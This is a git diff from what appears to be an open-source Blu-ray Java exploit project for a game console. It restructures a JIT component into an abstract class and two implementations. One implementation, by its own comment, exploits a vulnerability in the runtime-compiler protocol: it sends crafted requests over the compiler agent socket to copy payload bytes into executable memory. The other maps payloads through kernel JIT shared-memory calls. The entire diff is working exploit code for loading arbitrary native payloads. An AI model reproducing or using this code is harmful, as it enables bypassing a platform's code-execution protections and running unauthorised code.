diff --git a/Makefile b/Makefile index 2de8788..53f002f 100644 --- a/Makefile +++ b/Makefile @@ -8,7 +8,6 @@ TOOLS = tools CLASSES = \ $(SRC)/com/bdjb/ExploitXlet.java \ $(SRC)/com/bdjb/Exploit.java \ - $(SRC)/com/bdjb/JIT.java \ $(SRC)/com/bdjb/Screen.java \ $(SRC)/com/bdjb/api/API.java \ $(SRC)/com/bdjb/api/Buffer.java \ @@ -21,6 +20,9 @@ CLASSES = \ $(SRC)/com/bdjb/api/UnsafeInterface.java \ $(SRC)/com/bdjb/api/UnsafeJdkImpl.java \ $(SRC)/com/bdjb/api/UnsafeSunImpl.java \ + $(SRC)/com/bdjb/jit/AbstractJit.java \ + $(SRC)/com/bdjb/jit/JitDefaultImpl.java \ + $(SRC)/com/bdjb/jit/JitCompilerReceiverImpl.java \ $(SRC)/com/bdjb/exploit/sandbox/ExploitSandboxInterface.java \ $(SRC)/com/bdjb/exploit/sandbox/ExploitDefaultImpl.java \ $(SRC)/com/bdjb/exploit/sandbox/ExploitUserPrefsImpl.java \ diff --git a/src/com/bdjb/jit/AbstractJit.java b/src/com/bdjb/jit/AbstractJit.java new file mode 100644 index 0000000..f530f48 --- /dev/null +++ b/src/com/bdjb/jit/AbstractJit.java @@ -0,0 +1,114 @@ +/* + * Copyright (C) 2021 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package com.bdjb.jit; + +import com.bdjb.api.API; +import java.io.RandomAccessFile; + +abstract class AbstractJit { + public static final int PROT_NONE = 0x0; + public static final int PROT_READ = 0x1; + public static final int PROT_WRITE = 0x2; + public static final int PROT_EXEC = 0x4; + + public static final int MAP_SHARED = 0x1; + public static final int MAP_PRIVATE = 0x2; + public static final int MAP_FIXED = 0x10; + public static final int MAP_ANONYMOUS = 0x1000; + + public static final long MAP_FAILED = -1; + + public static final int PAGE_SIZE = 0x4000; + public static final int ALIGNMENT = 0x100000; + + protected static final int CHUNK_SIZE = 0x30; + + protected static final API api; + + private static final String MMAP_SYMBOL = "mmap"; + + static { + try { + api = API.getInstance(); + } catch (Exception e) { + throw new ExceptionInInitializerError(e); + } + } + + protected long mmap; + + protected AbstractJit() { + mmap = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, MMAP_SYMBOL); + if (mmap == 0) { + throw new InternalError("symbols not found"); + } + } + + protected long mmap(long addr, long len, int prot, int flags, int fd, long offset) { + return api.call(mmap, addr, len, prot, flags, fd, offset); + } + + protected long align(long x, long align) { + return (x + align - 1) & ~(align - 1); + } + + protected abstract long jitMap(long size, long alignment); + + protected abstract void jitCopy(long dest, byte[] src, long n); + + public long mapPayload(String path, long dataSectionOffset) throws Exception { + RandomAccessFile file = new RandomAccessFile(path, "r"); + + if ((dataSectionOffset & (PAGE_SIZE - 1)) != 0) { + throw new IllegalArgumentException("unaligned data section offset"); + } + + if (dataSectionOffset < 0 || dataSectionOffset > file.length()) { + throw new IllegalArgumentException("invalid data section offset"); + } + + // Allocate JIT memory. + long address = jitMap(file.length(), ALIGNMENT); + + byte[] chunk = new byte[CHUNK_SIZE]; + + // Copy .text section. + for (long i = 0; i < dataSectionOffset; i += chunk.length) { + api.memset(chunk, 0, chunk.length); + + file.seek(i); + int read = file.read(chunk, 0, (int) Math.min(dataSectionOffset - i, chunk.length)); + + jitCopy(address + i, chunk, read); + } + + // Map the .data section as RW. + if (mmap( + address + dataSectionOffset, + align(file.length() - dataSectionOffset, PAGE_SIZE), + PROT_READ | PROT_WRITE, + MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, + -1, + 0) + == MAP_FAILED) { + throw new InternalError("mmap failed"); + } + + // Copy .data section. + for (long i = dataSectionOffset; i < file.length(); i += chunk.length) { + api.memset(chunk, 0, chunk.length); + + file.seek(i); + int read = file.read(chunk, 0, (int) Math.min(file.length() - i, chunk.length)); + + api.memcpy(address + i, chunk, read); + } + + return address; + } +} diff --git a/src/com/bdjb/JIT.java b/src/com/bdjb/jit/JitCompilerReceiverImpl.java similarity index 53% rename from src/com/bdjb/JIT.java rename to src/com/bdjb/jit/JitCompilerReceiverImpl.java index 19996ea..d5ac59c 100644 --- a/src/com/bdjb/JIT.java +++ b/src/com/bdjb/jit/JitCompilerReceiverImpl.java @@ -5,37 +5,20 @@ * of the MIT license. See the LICENSE file for details. */ -package com.bdjb; +package com.bdjb.jit; import com.bdjb.api.API; import com.bdjb.api.Buffer; import com.bdjb.api.Int8; import com.bdjb.api.Text; -import java.io.RandomAccessFile; /** - * JIT class that exploits a vulnerability in the runtime-compiler protocol to map payloads to + * JIT implementation that exploits a vulnerability in the runtime-compiler protocol to copy data to * executable memory. */ -public final class JIT { - public static final int PROT_NONE = 0x0; - public static final int PROT_READ = 0x1; - public static final int PROT_WRITE = 0x2; - public static final int PROT_EXEC = 0x4; - - public static final int MAP_SHARED = 0x1; - public static final int MAP_PRIVATE = 0x2; - public static final int MAP_FIXED = 0x10; - public static final int MAP_ANONYMOUS = 0x1000; - - public static final long MAP_FAILED = -1; - +public final class JitCompilerReceiverImpl extends AbstractJit { // We actually have 32MB of code memory, but reserve 8MB for Java JIT. public static final int MAX_CODE_SIZE = 24 * 1024 * 1024; - public static final int PAGE_SIZE = 0x4000; - public static final int ALIGNMENT = 0x100000; - - private static final int CHUNK_SIZE = 0x30; private static final int SCE_KERNEL_MODULE_INFO_SIZE = 0x160; @@ -51,33 +34,28 @@ public final class JIT { (byte) 0x4C, (byte) 0x8B, (byte) 0x70, (byte) 0x08, (byte) 0x41 }; + private static final int BDJ_MODULE_HANDLE = 0; + private static final String SCE_KERNEL_GET_MODULE_INFO_SYMBOL = "sceKernelGetModuleInfo"; - private static final String MMAP_SYMBOL = "mmap"; private static final String WRITE_SYMBOL = "write"; private static final String READ_SYMBOL = "read"; - private static final int BDJ_MODULE_HANDLE = 0; - - private static JIT instance; - - private final API api; + private static JitCompilerReceiverImpl instance; private long sceKernelGetModuleInfo; - private long mmap; private long read; private long write; private long BufferBlob__create; private int compilerAgentSocket; - private JIT() throws Exception { - this.api = API.getInstance(); + private JitCompilerReceiverImpl() { this.init(); } - public static synchronized JIT getInstance() throws Exception { + public static synchronized JitCompilerReceiverImpl getInstance() { if (instance == null) { - instance = new JIT(); + instance = new JitCompilerReceiverImpl(); } return instance; } @@ -90,7 +68,6 @@ public final class JIT { private void initSymbols() { sceKernelGetModuleInfo = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, SCE_KERNEL_GET_MODULE_INFO_SYMBOL); - mmap = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, MMAP_SYMBOL); read = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, READ_SYMBOL); write = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, WRITE_SYMBOL); @@ -103,7 +80,7 @@ public final class JIT { Buffer modinfo = new Buffer(SCE_KERNEL_MODULE_INFO_SIZE); modinfo.fill((byte) 0); modinfo.putLong(0x00, SCE_KERNEL_MODULE_INFO_SIZE); - if (api.call(sceKernelGetModuleInfo, BDJ_MODULE_HANDLE, modinfo.address()) != 0) { + if (sceKernelGetModuleInfo(BDJ_MODULE_HANDLE, modinfo) != 0) { throw new InternalError("sceKernelGetModuleInfo failed"); } @@ -137,16 +114,28 @@ public final class JIT { api.read32(compilerAgentSocketOpcode + api.read32(compilerAgentSocketOpcode + 0x3) + 0x7); } - private long align(long x, long align) { - return (x + align - 1) & ~(align - 1); + int sceKernelGetModuleInfo(int modid, Buffer info) { + return (int) api.call(sceKernelGetModuleInfo, modid, info != null ? info.address() : 0); } - public long jitMap(long size, long alignment) { + long write(int fd, Buffer buf, long nbytes) { + return api.call(write, fd, buf != null ? buf.address() : 0, nbytes); + } + + long read(int fd, Buffer buf, long nbytes) { + return api.call(read, fd, buf != null ? buf.address() : 0, nbytes); + } + + long BufferBlob__create(Text name, int buffer_size) { + return api.call(BufferBlob__create, name != null ? name.address() : 0, buffer_size); + } + + protected long jitMap(long size, long alignment) { if (size >= MAX_CODE_SIZE) { throw new IllegalArgumentException("size too big"); } - Text name = new Text("jit"); - long blob = api.call(BufferBlob__create, name.address(), size + 0x88 + alignment - 1); + long blob = + BufferBlob__create(new Text("jit"), (int) (align(size + 0x88 + alignment - 1, PAGE_SIZE))); if (blob == 0) { throw new OutOfMemoryError("BufferBlob__create failed"); } @@ -154,80 +143,32 @@ public final class JIT { return align(code, alignment); } - public void jitCopy(long dest, byte[] src, long n) { + protected void jitCopy(long dest, byte[] src, long n) { Buffer req = new Buffer(COMPILER_AGENT_REQUEST_SIZE); Int8 resp = new Int8(); byte[] chunk = new byte[CHUNK_SIZE]; - for (long i = 0; i < n; i += CHUNK_SIZE) { - api.memset(chunk, 0, CHUNK_SIZE); + for (long i = 0; i < n; i += chunk.length) { + api.memset(chunk, 0, chunk.length); - System.arraycopy(src, (int) i, chunk, 0, (int) Math.min(n - i, CHUNK_SIZE)); + System.arraycopy(src, (int) i, chunk, 0, (int) Math.min(n - i, chunk.length)); req.fill((byte) 0); req.put(0x00, chunk); req.putLong(0x38, dest + i - 0x28); - api.call(write, compilerAgentSocket, req.address(), req.size()); + if (write(compilerAgentSocket, req, req.size()) != req.size()) { + throw new InternalError("write failed"); + } resp.set((byte) 0); - api.call(read, compilerAgentSocket, resp.address(), resp.size()); + if (read(compilerAgentSocket, resp, resp.size()) != resp.size()) { + throw new InternalError("read failed"); + } if (resp.get() != ACK_MAGIC_NUMBER) { throw new AssertionError("wrong compiler response"); } } } - - public long mapPayload(String path, long dataSectionOffset) throws Exception { - RandomAccessFile file = new RandomAccessFile(path, "r"); - - if ((dataSectionOffset & (PAGE_SIZE - 1)) != 0) { - throw new IllegalArgumentException("unaligned data section offset"); - } - - if (dataSectionOffset < 0 || dataSectionOffset > file.length()) { - throw new IllegalArgumentException("invalid data section offset"); - } - - // Allocate JIT memory. - long address = jitMap(file.length(), ALIGNMENT); - - byte[] chunk = new byte[CHUNK_SIZE]; - - // Copy .text section. - for (long i = 0; i < dataSectionOffset; i += CHUNK_SIZE) { - api.memset(chunk, 0, CHUNK_SIZE); - - file.seek(i); - int read = file.read(chunk, 0, (int) Math.min(dataSectionOffset - i, CHUNK_SIZE)); - - jitCopy(address + i, chunk, read); - } - - // Map the .data section as RW. - if (api.call( - mmap, - address + dataSectionOffset, - align(file.length() - dataSectionOffset, PAGE_SIZE), - PROT_READ | PROT_WRITE, - MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, - -1, - 0) - == MAP_FAILED) { - throw new InternalError("mmap failed"); - } - - // Copy .data section. - for (long i = dataSectionOffset; i < file.length(); i += CHUNK_SIZE) { - api.memset(chunk, 0, CHUNK_SIZE); - - file.seek(i); - int read = file.read(chunk, 0, (int) Math.min(file.length() - i, CHUNK_SIZE)); - - api.memcpy(address + i, chunk, read); - } - - return address; - } } diff --git a/src/com/bdjb/jit/JitDefaultImpl.java b/src/com/bdjb/jit/JitDefaultImpl.java new file mode 100644 index 0000000..59cbd86 --- /dev/null +++ b/src/com/bdjb/jit/JitDefaultImpl.java @@ -0,0 +1,131 @@ +/* + * Copyright (C) 2021 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package com.bdjb.jit; + +import com.bdjb.api.API; +import com.bdjb.api.Buffer; +import com.bdjb.api.Int32; +import com.bdjb.api.Int64; +import com.bdjb.api.Text; + +/** Default JIT implementation using SCE API. */ +public final class JitDefaultImpl extends AbstractJit { + private static final String SCE_KERNEL_JIT_CREATE_SHARED_MEMORY_SYMBOL = + "sceKernelJitCreateSharedMemory"; + private static final String SCE_KERNEL_JIT_CREATE_ALIAS_OF_SHARED_MEMORY_SYMBOL = + "sceKernelJitCreateAliasOfSharedMemory"; + private static final String SCE_KERNEL_JIT_MAP_SHARED_MEMORY_SYMBOL = + "sceKernelJitMapSharedMemory"; + + private static JitDefaultImpl instance; + + private long sceKernelJitCreateSharedMemory; + private long sceKernelJitCreateAliasOfSharedMemory; + private long sceKernelJitMapSharedMemory; + + private Int32 sharedHandle = new Int32(); + private Int32 aliasHandle = new Int32(); + + private long rx; + private long rw; + + private JitDefaultImpl() { + sceKernelJitCreateSharedMemory = + api.dlsym(API.LIBKERNEL_MODULE_HANDLE, SCE_KERNEL_JIT_CREATE_SHARED_MEMORY_SYMBOL); + sceKernelJitCreateAliasOfSharedMemory = + api.dlsym(API.LIBKERNEL_MODULE_HANDLE, SCE_KERNEL_JIT_CREATE_ALIAS_OF_SHARED_MEMORY_SYMBOL); + sceKernelJitMapSharedMemory = + api.dlsym(API.LIBKERNEL_MODULE_HANDLE, SCE_KERNEL_JIT_MAP_SHARED_MEMORY_SYMBOL); + + if (sceKernelJitCreateSharedMemory == 0 + || sceKernelJitCreateAliasOfSharedMemory == 0 + || sceKernelJitMapSharedMemory == 0) { + throw new InternalError("symbols not found"); + } + } + + public static synchronized JitDefaultImpl getInstance() { + if (instance == null) { + instance = new JitDefaultImpl(); + } + return instance; + } + + int sceKernelJitCreateSharedMemory(Text name, long len, int maxProt, Int32 fdOut) { + return (int) + api.call( + sceKernelJitCreateSharedMemory, + name.address(), + len, + maxProt, + fdOut != null ? fdOut.address() : 0); + } + + int sceKernelJitCreateAliasOfSharedMemory(int fd, int maxProt, Int32 fdOut) { + return (int) + api.call( + sceKernelJitCreateAliasOfSharedMemory, + fd, + maxProt, + fdOut != null ? fdOut.address() : 0); + } + + int sceKernelJitMapSharedMemory(int fd, int prot, Int64 startOut) { + return (int) + api.call(sceKernelJitMapSharedMemory, fd, prot, startOut != null ? startOut.address() : 0); + } + + protected long jitMap(long size, long alignment) { + if (sceKernelJitCreateSharedMemory( + new Text("jit"), + align(size + alignment - 1, PAGE_SIZE), + PROT_READ | PROT_WRITE | PROT_EXEC, + sharedHandle) + < 0) { + throw new InternalError("sceKernelJitCreateSharedMemory failed"); + } + + if (sceKernelJitCreateAliasOfSharedMemory( + sharedHandle.get(), PROT_READ | PROT_WRITE, aliasHandle) + < 0) { + throw new InternalError("sceKernelJitCreateAliasOfSharedMemory failed"); + } + + if ((rx = + mmap( + 0, + align(size + alignment - 1, PAGE_SIZE), + PROT_READ | PROT_EXEC, + MAP_SHARED, + sharedHandle.get(), + 0)) + == MAP_FAILED) { + throw new InternalError("mmap failed"); + } + rx = align(rx, alignment); + + if ((rw = + mmap( + 0, + align(size + alignment - 1, PAGE_SIZE), + PROT_READ | PROT_WRITE, + MAP_SHARED, + aliasHandle.get(), + 0)) + == MAP_FAILED) { + throw new InternalError("mmap failed"); + } + rw = align(rw, alignment); + + return rx; + } + + protected void jitCopy(long dest, byte[] src, long n) { + api.memcpy(dest - rx + rw, src, n); + } +}